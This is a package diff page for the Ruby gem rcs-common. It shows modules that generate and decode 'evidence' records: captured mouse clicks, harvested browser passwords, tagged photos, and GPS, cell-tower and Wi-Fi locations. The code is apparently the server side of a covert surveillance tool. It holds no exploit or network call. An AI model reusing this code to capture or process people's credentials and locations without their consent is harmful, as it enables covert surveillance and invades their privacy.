rcs-common 9.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,62 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module MouseEvidence
6
+
7
+ MOUSE_VERSION = 2009040201
8
+
9
+ def content
10
+ path = File.join(File.dirname(__FILE__), 'content', 'mouse', '00' + (rand(4) + 1).to_s + '.jpg')
11
+ File.open(path, 'rb') {|f| f.read }
12
+ end
13
+
14
+ def generate_content
15
+ [ content ]
16
+ end
17
+
18
+ def additional_header
19
+ process_name = 'Finder'.to_utf16le_binary
20
+ window_name = ''.to_utf16le_binary
21
+ x = 10
22
+ y = 20
23
+ width = 1280
24
+ height = 800
25
+ header = StringIO.new
26
+ header.write [MOUSE_VERSION, process_name.size, window_name.size, x, y, width, height].pack("I*")
27
+ header.write process_name
28
+ header.write window_name
29
+
30
+ header.string
31
+ end
32
+
33
+ def decode_additional_header(data)
34
+ raise EvidenceDeserializeError.new("incomplete MOUSE") if data.nil? or data.bytesize == 0
35
+
36
+ binary = StringIO.new data
37
+
38
+ version, process_name_len, window_name_len = binary.read(12).unpack('I*')
39
+ raise EvidenceDeserializeError.new("invalid log version for MOUSE") unless version == MOUSE_VERSION
40
+
41
+ x, y, width, height = binary.read(16).unpack('I*')
42
+
43
+ ret = Hash.new
44
+ ret[:data] = Hash.new if ret[:data].nil?
45
+ ret[:data][:program] = binary.read(process_name_len).utf16le_to_utf8
46
+ ret[:data][:window] = binary.read(window_name_len).utf16le_to_utf8
47
+ ret[:data][:x] = x
48
+ ret[:data][:y] = y
49
+ ret[:data][:resolution] = "#{width} x #{height}"
50
+ return ret
51
+ end
52
+
53
+ def decode_content(common_info, chunks)
54
+ info = Hash[common_info]
55
+ info[:data] = Hash.new if info[:data].nil?
56
+ info[:grid_content] = chunks.first
57
+ yield info if block_given?
58
+ :delete_raw
59
+ end
60
+ end
61
+
62
+ end # ::RCS
@@ -0,0 +1,60 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module PasswordEvidence
6
+
7
+ ELEM_DELIMITER = 0xABADC0DE
8
+
9
+ def content
10
+ resource = ["MSN", "IExplorer", "Firefox"].sample.to_utf16le_binary_null
11
+ service = ["http://login.live.com", "http://www.google.com", "http://msn.live.it"].sample.to_utf16le_binary_null
12
+ user = ["ALoR", "test", "daniel", "naga"].sample.to_utf16le_binary_null
13
+ pass = ["secret", "mario1", "ht123456"].sample.to_utf16le_binary_null
14
+ content = StringIO.new
15
+ content.write resource
16
+ content.write user
17
+ content.write pass
18
+ content.write service
19
+ content.write [ ELEM_DELIMITER ].pack('L')
20
+
21
+ content.string
22
+ end
23
+
24
+ def generate_content
25
+ ret = Array.new
26
+ 10.rand_times { ret << content() }
27
+ ret
28
+ end
29
+
30
+ def decode_content(common_info, chunks)
31
+ stream = StringIO.new chunks.join
32
+
33
+ until stream.eof?
34
+ info = Hash[common_info]
35
+ info[:data] = Hash.new if info[:data].nil?
36
+ info[:data][:program] = ''
37
+ info[:data][:service] = ''
38
+ info[:data][:user] = ''
39
+ info[:data][:pass] = ''
40
+
41
+ resource = stream.read_utf16le_string
42
+ info[:data][:program] = resource.utf16le_to_utf8 unless resource.nil?
43
+ user = stream.read_utf16le_string
44
+ info[:data][:user] = user.utf16le_to_utf8 unless user.nil?
45
+ pass = stream.read_utf16le_string
46
+ info[:data][:pass] = pass.utf16le_to_utf8 unless pass.nil?
47
+ service = stream.read_utf16le_string
48
+ info[:data][:service] = service.utf16le_to_utf8 unless service.nil?
49
+
50
+ delim = stream.read(4).unpack("L*").first
51
+ raise EvidenceDeserializeError.new("Malformed PASSWORD (missing delimiter)") unless delim == ELEM_DELIMITER
52
+
53
+ # this is not the real clone! redefined clone ...
54
+ yield info if block_given?
55
+ end
56
+ :delete_raw
57
+ end
58
+ end
59
+
60
+ end # ::RCS
@@ -0,0 +1,80 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module PhotoEvidence
6
+
7
+ PHOTO_VERSION = 2015012601
8
+
9
+ def content
10
+ path = File.join(File.dirname(__FILE__), 'content', 'screenshot', '00' + (rand(3) + 1).to_s + '.jpg')
11
+ File.open(path, 'rb') {|f| f.read }
12
+ end
13
+
14
+ def generate_content
15
+ [ content ]
16
+ end
17
+
18
+ def additional_header
19
+ header = StringIO.new
20
+ header.write [PHOTO_VERSION].pack("I")
21
+
22
+ data = {program: "iphoto",
23
+ time: Time.now.getutc.to_i,
24
+ path: "/Users/Target/Pictures/iPhoto Library/",
25
+ tags: [{name: 'ciccio', handle: '1234567890', type: 'facebook'}, {name: 'pasticcio', handle: '0987654321', type: 'facebook'}],
26
+ description: "my wonderful photo",
27
+ place: {lat: 45.0, lon: 9.1, r: 50},
28
+ device: '',
29
+ target: false
30
+ }
31
+
32
+ header.write data.to_json
33
+
34
+ header.string
35
+ end
36
+
37
+ def decode_additional_header(data)
38
+ raise EvidenceDeserializeError.new("incomplete PHOTO") if data.nil? or data.bytesize == 0
39
+
40
+ binary = StringIO.new data
41
+
42
+ version = binary.read(4).unpack("I").first
43
+ raise EvidenceDeserializeError.new("invalid log version for PHOTO") unless version == PHOTO_VERSION
44
+
45
+ ret = Hash.new
46
+ ret[:data] = Hash.new
47
+
48
+ data = JSON.parse(binary.read)
49
+
50
+ ret[:da] = data['time'] if data['time'] # override the date acquired
51
+ ret[:data][:program] = data['program']
52
+ ret[:data][:path] = data['path']
53
+ ret[:data][:desc] = data['description']
54
+ ret[:data][:device] = data['device']
55
+ ret[:data][:tags] = data['tags'] #.map {|x| x['name']}.join(", ")
56
+ if data['place']
57
+ ret[:data][:latitude] = data['place']['lat']
58
+ ret[:data][:longitude] = data['place']['lon']
59
+ ret[:data][:accuracy] = data['place']['r']
60
+
61
+ # Adds also a "position" array field to support mongoDB 2dSphere index
62
+ ret[:data][:position] = [ret[:data][:longitude], ret[:data][:latitude]]
63
+ end
64
+
65
+ # if the photo is taken from "my profile pictures"
66
+ ret[:data][:type] = :target if data['target']
67
+
68
+ return ret
69
+ end
70
+
71
+ def decode_content(common_info, chunks)
72
+ info = Hash[common_info]
73
+ info[:data] ||= Hash.new
74
+ info[:grid_content] = chunks.join
75
+ yield info if block_given?
76
+ :delete_raw
77
+ end
78
+ end
79
+
80
+ end # ::RCS
@@ -0,0 +1,303 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ require 'digest/md5'
4
+
5
+ module RCS
6
+
7
+ module PositionEvidence
8
+
9
+ ELEM_DELIMITER = 0xABADC0DE
10
+
11
+ LOCATION_VERSION = 2010082401
12
+ LOCATION_GPS = 0x0001
13
+ LOCATION_GSM = 0x0002
14
+ LOCATION_WIFI = 0x0003
15
+ LOCATION_IP = 0x0004
16
+ LOCATION_CDMA = 0x0005
17
+
18
+ PLAIN_GPS = 0x00
19
+ CHECKIN_FACEBOOK = 0x01
20
+
21
+ def content
22
+ content = StringIO.new
23
+
24
+ case @loc_type
25
+ when LOCATION_GPS
26
+ content.write [@loc_type, 0, 0].pack('L*')
27
+ content.write Time.now.getutc.to_filetime.pack('L*')
28
+ content.write GPS_Position.struct(45.12345, 9.54321, rand(10..100), [0,1].sample, "This is my place")
29
+ content.write [ ELEM_DELIMITER ].pack('L')
30
+
31
+ when LOCATION_GSM
32
+ content.write [@loc_type, 0, 0].pack('L*')
33
+ content.write Time.now.getutc.to_filetime.pack('L*')
34
+ content.write CELL_Position.struct(222, 1, 61208, 528, -92, 0)
35
+ content.write [ ELEM_DELIMITER ].pack('L')
36
+
37
+ when LOCATION_WIFI
38
+ content.write ["\x00\x17\xC2\xF8\x9C\x60", "\x00\x25\xC9\xDF\xAB\xA7", "\x38\x22\x9D\xF7\x84\xF4"].sample
39
+ content.write [0, 0].pack('C*') # dummy for the C struck packing
40
+ content.write [4].pack('L')
41
+ content.write ["FASTWEB-1-0017C2F89C60", "ht-guest-wifi", "FASTWEB-1-38229DF784F4"].sample.ljust(32, "\x00")
42
+ content.write [rand(100) * -1].pack('l')
43
+
44
+ when LOCATION_IP
45
+ content.write ["8.8.8.8", "8.8.4.4", "4.2.2.2"].sample
46
+ end
47
+
48
+ content.string
49
+ end
50
+
51
+ def generate_content
52
+ ret = Array.new
53
+ @nstruct.times { ret << content() }
54
+ ret
55
+ end
56
+
57
+ def additional_header
58
+ @loc_type = [LOCATION_GPS, LOCATION_GSM, LOCATION_WIFI, LOCATION_IP].sample
59
+ #@loc_type = [LOCATION_GPS].sample
60
+ @nstruct = (@loc_type == LOCATION_IP) ? 1 : rand(5) + 1
61
+ header = StringIO.new
62
+ header.write [LOCATION_VERSION, @loc_type, @nstruct].pack("I*")
63
+
64
+ header.string
65
+ end
66
+
67
+ def decode_additional_header(data)
68
+ raise EvidenceDeserializeError.new("incomplete LOCATION") if data.nil? or data.size == 0
69
+
70
+ binary = StringIO.new data
71
+
72
+ version, type, number = binary.read(12).unpack("I*")
73
+ raise EvidenceDeserializeError.new("invalid log version for LOCATION") unless version == LOCATION_VERSION
74
+
75
+ ret = Hash.new
76
+ ret[:loc_type] = type
77
+ return ret
78
+ end
79
+
80
+ def decode_content(common_info, chunks)
81
+ stream = StringIO.new chunks.join
82
+
83
+ case common_info[:loc_type]
84
+ when LOCATION_WIFI
85
+ info = Hash[common_info]
86
+ info[:data] ||= Hash.new
87
+ info[:data][:type] = 'WIFI'
88
+ info[:data][:wifi] = []
89
+ until stream.eof?
90
+ # we have 6 byte of mac address
91
+ # and 2 of padding (using C struct is BAAAAD)
92
+ mac = stream.read 6
93
+ stream.read 2
94
+
95
+ len = stream.read(4).unpack('L').first
96
+ ssid = stream.read(len)
97
+
98
+ stream.read(32-len)
99
+ sig = stream.read(4).unpack('l').first
100
+
101
+ mac_s = "%02X:%02X:%02X:%02X:%02X:%02X" %
102
+ [mac[0].unpack('C').first,
103
+ mac[1].unpack('C').first,
104
+ mac[2].unpack('C').first,
105
+ mac[3].unpack('C').first,
106
+ mac[4].unpack('C').first,
107
+ mac[5].unpack('C').first]
108
+
109
+ info[:data][:wifi] << {:mac => mac_s, :sig => sig, :ssid => ssid}
110
+ end
111
+ yield info if block_given?
112
+
113
+ when LOCATION_IP
114
+ info = Hash[common_info]
115
+ info[:data] ||= Hash.new
116
+ info[:data][:type] = 'IPv4'
117
+ ip = stream.read_ascii_string
118
+ info[:data][:ip] = ip unless ip.nil?
119
+ yield info if block_given?
120
+
121
+ when LOCATION_GPS
122
+ until stream.eof?
123
+ info = Hash[common_info]
124
+ info[:data] ||= Hash.new
125
+ #info[:data][:type] = 'GPS'
126
+ type, size, version = stream.read(12).unpack('L*')
127
+ low, high = *stream.read(8).unpack('L*')
128
+ info[:da] = Time.from_filetime(high, low)
129
+
130
+ gps = GPS_Position.new
131
+ gps.read stream
132
+ info[:data][:latitude] = gps.latitude.to_f
133
+ info[:data][:longitude] = gps.longitude.to_f
134
+ info[:data][:accuracy] = gps.accuracy.to_i
135
+ info[:data][:type] = case (gps.flags.to_i)
136
+ when PLAIN_GPS
137
+ 'GPS'
138
+ when CHECKIN_FACEBOOK
139
+ 'FACEBOOK'
140
+ end
141
+ info[:data][:address] = {text: gps.checkin_name} if info[:data][:type] != 'GPS'
142
+
143
+ delim = stream.read(4).unpack('L').first
144
+ raise EvidenceDeserializeError.new("Malformed LOCATION GPS (missing delimiter)") unless delim == ELEM_DELIMITER
145
+
146
+ yield info if block_given?
147
+ end
148
+
149
+ when LOCATION_GSM, LOCATION_CDMA
150
+ until stream.eof?
151
+ info = Hash[common_info]
152
+ info[:data] ||= Hash.new
153
+ info[:data][:type] = (info[:loc_type] == LOCATION_GSM) ? 'GSM' : 'CDMA'
154
+ type, size, version = stream.read(12).unpack('L*')
155
+ low, high = *stream.read(8).unpack('L*')
156
+ info[:da] = Time.from_filetime(high, low)
157
+ cell = CELL_Position.new
158
+ cell.read stream
159
+
160
+ if info[:loc_type] == LOCATION_GSM then
161
+ info[:data][:cell] = {:mcc => cell.mcc, :mnc => cell.mnc, :lac => cell.lac, :cid => cell.cid, :db => cell.db, :adv => cell.adv, :age => 0}
162
+ else
163
+ info[:data][:cell] = {:mcc => cell.mcc, :sid => cell.mnc, :nid => cell.lac, :bid => cell.cid, :db => cell.db, :adv => cell.adv, :age => 0}
164
+ end
165
+
166
+ delim = stream.read(4).unpack('L').first
167
+ raise EvidenceDeserializeError.new("Malformed LOCATION CELL (missing delimiter)") unless delim == ELEM_DELIMITER
168
+ yield info if block_given?
169
+ end
170
+ else
171
+ raise EvidenceDeserializeError.new("Unsupported LOCATION type (#{info[:loc_type]})")
172
+ end
173
+
174
+ :delete_raw
175
+ end
176
+ end
177
+
178
+ class GPS_Position
179
+
180
+ attr_reader :latitude
181
+ attr_reader :longitude
182
+ attr_reader :accuracy
183
+ attr_reader :flags
184
+ attr_reader :checkin_name
185
+
186
+ def self.size
187
+ self.struct(0,0,0).bytesize
188
+ end
189
+
190
+ def self.struct(lat, long, accuracy, flags, name)
191
+ str = ''
192
+ str += [0].pack('l') # DWORD dwVersion; Current version of GPSID client is using.
193
+ str += [0].pack('l') # DWORD dwSize; sizeof(_GPS_POSITION)
194
+ str += [0].pack('l') # DWORD dwValidFields;
195
+
196
+ # abuse this flag to indicate social checkins
197
+ str += [flags].pack('l') # DWORD dwFlags;
198
+
199
+ str += Array.new(8,0).pack('s*') # SYSTEMTIME stUTCTime; UTC according to GPS clock.
200
+
201
+ str += [lat].pack('D') # double dblLatitude; // Degrees latitude. North is positive
202
+ str += [long].pack('D') # double dblLongitude; // Degrees longitude. East is positive
203
+
204
+ str += [0].pack('F') # float flSpeed; // Speed in knots
205
+ str += [0].pack('F') # float flHeading; // Degrees heading (course made good). True North=0
206
+ str += [0].pack('D') # double dblMagneticVariation; // Magnetic variation. East is positive
207
+ str += [0].pack('F') # float flAltitudeWRTSeaLevel; // Altitute with regards to sea level, in meters
208
+ str += [0].pack('F') # float flAltitudeWRTEllipsoid; // Altitude with regards to ellipsoid, in meters
209
+
210
+ str += [0].pack('l') # GPS_FIX_QUALITY FixQuality; // Where did we get fix from?
211
+ str += [0].pack('l') # GPS_FIX_TYPE FixType; // Is this 2d or 3d fix?
212
+ str += [0].pack('l') # GPS_FIX_SELECTION SelectionType; // Auto or manual selection between 2d or 3d mode
213
+ str += [0].pack('F') # float flPositionDilutionOfPrecision; // Position Dilution Of Precision
214
+ str += [accuracy].pack('F') # float flHorizontalDilutionOfPrecision; // Horizontal Dilution Of Precision
215
+ str += [0].pack('F') # float flVerticalDilutionOfPrecision; // Vertical Dilution Of Precision
216
+
217
+ #str += [1].pack('l') # DWORD dwSatelliteCount; // Number of satellites used in solution
218
+ #str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesUsedPRNs[GPS_MAX_SATELLITES]; // PRN numbers of satellites used in the solution
219
+ #str += [0].pack('l') # DWORD dwSatellitesInView; // Number of satellites in view. From 0-GPS_MAX_SATELLITES
220
+ #str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewPRNs[GPS_MAX_SATELLITES]; // PRN numbers of satellites in view
221
+ #str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewElevation[GPS_MAX_SATELLITES]; // Elevation of each satellite in view
222
+ #str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewAzimuth[GPS_MAX_SATELLITES]; // Azimuth of each satellite in view
223
+ #str += Array.new(12,0).pack('l*') # DWORD rgdwSatellitesInViewSignalToNoiseRatio[GPS_MAX_SATELLITES]; // Signal to noise ratio of each satellite in view
224
+
225
+ # we abuse this space to write the name of the checkin
226
+ str += name.to_utf16le_binary_null.ljust(248, "\x00")
227
+
228
+ return str
229
+ end
230
+
231
+ def read(stream)
232
+ stream.read(4*3)
233
+ @flags = stream.read(4).unpack('l').first
234
+ stream.read(8*2)
235
+ @latitude = stream.read(8).unpack('D').first
236
+ @longitude = stream.read(8).unpack('D').first
237
+ stream.read(2*4)
238
+ stream.read(8)
239
+ stream.read(2*4)
240
+
241
+ stream.read(3*4)
242
+ stream.read(4) # PDOP
243
+ @accuracy = stream.read(4).unpack('F').first # HDOP
244
+ stream.read(4) # VDOP
245
+
246
+ temp = stream.read(248)
247
+ name = StringIO.new(temp).read_utf16le_string
248
+ @checkin_name = name.utf16le_to_utf8 unless name.nil?
249
+ end
250
+ end
251
+
252
+
253
+ class CELL_Position
254
+
255
+ attr_reader :mcc, :mnc, :lac, :cid, :db, :adv
256
+
257
+ def self.size
258
+ self.struct(0,0,0,0,0,0).bytesize
259
+ end
260
+
261
+ def self.struct(mcc, mnc, lac, cid, db, adv)
262
+ str = ''
263
+ str += [0].pack('l') # DWORD cbSize; // @field structure size in bytes
264
+ str += [0].pack('l') # DWORD dwParams; // @field indicates valid parameters
265
+ str += [mcc].pack('l') # DWORD dwMobileCountryCode; // @field TBD
266
+ str += [mnc].pack('l') # DWORD dwMobileNetworkCode; // @field TBD
267
+ str += [lac].pack('l') # DWORD dwLocationAreaCode; // @field TBD
268
+ str += [cid].pack('l') # DWORD dwCellID; // @field TBD
269
+ str += [0].pack('l') # DWORD dwBaseStationID; // @field TBD
270
+ str += [0].pack('l') # DWORD dwBroadcastControlChannel; // @field TBD
271
+ str += [db].pack('l') # DWORD dwRxLevel; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
272
+ str += [0].pack('l') # DWORD dwRxLevelFull; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
273
+ str += [0].pack('l') # DWORD dwRxLevelSub; // @field Value from 0-63 (see GSM 05.08, 8.1.4)
274
+ str += [0].pack('l') # DWORD dwRxQuality; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
275
+ str += [0].pack('l') # DWORD dwRxQualityFull; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
276
+ str += [0].pack('l') # DWORD dwRxQualitySub; // @field Value from 0-7 (see GSM 05.08, 8.2.4)
277
+ str += [0].pack('l') # DWORD dwIdleTimeSlot; // @field TBD
278
+ str += [adv].pack('l') # DWORD dwTimingAdvance; // @field TBD
279
+ str += [0].pack('l') # DWORD dwGPRSCellID; // @field TBD
280
+ str += [0].pack('l') # DWORD dwGPRSBaseStationID; // @field TBD
281
+ str += [0].pack('l') # DWORD dwNumBCCH; // @field TBD
282
+ str += Array.new(48,0).pack('C*') # BYTE rgbBCCH[MAXLENGTH_BCCH]; // @field TBD
283
+ str += Array.new(16,0).pack('C*') # BYTE rgbNMR[MAXLENGTH_NMR]; // @field TBD
284
+ return str
285
+ end
286
+
287
+ def read(stream)
288
+ stream.read(2*4) #size/params
289
+ @mcc = stream.read(4).unpack('l').first
290
+ @mnc = stream.read(4).unpack('l').first
291
+ @lac = stream.read(4).unpack('l').first
292
+ @cid = stream.read(4).unpack('l').first
293
+ stream.read(2*4) # basestationid/broadcastcontrolchannel
294
+ @db = stream.read(4).unpack('l').first # rxlevel
295
+ stream.read(6*4) #rxlevelfull/rxlevelsub/rxquality/rxqualityfull/rxqualitysub/idletimeslot
296
+ @adv = stream.read(4).unpack('l').first # timingadvance
297
+ stream.read(3*4) # gprscellid / gprsbasestationid / dwnumbcch
298
+ stream.read(48+16) # BCCH[48] / NMR[16]
299
+ end
300
+
301
+ end
302
+
303
+ end # ::RCS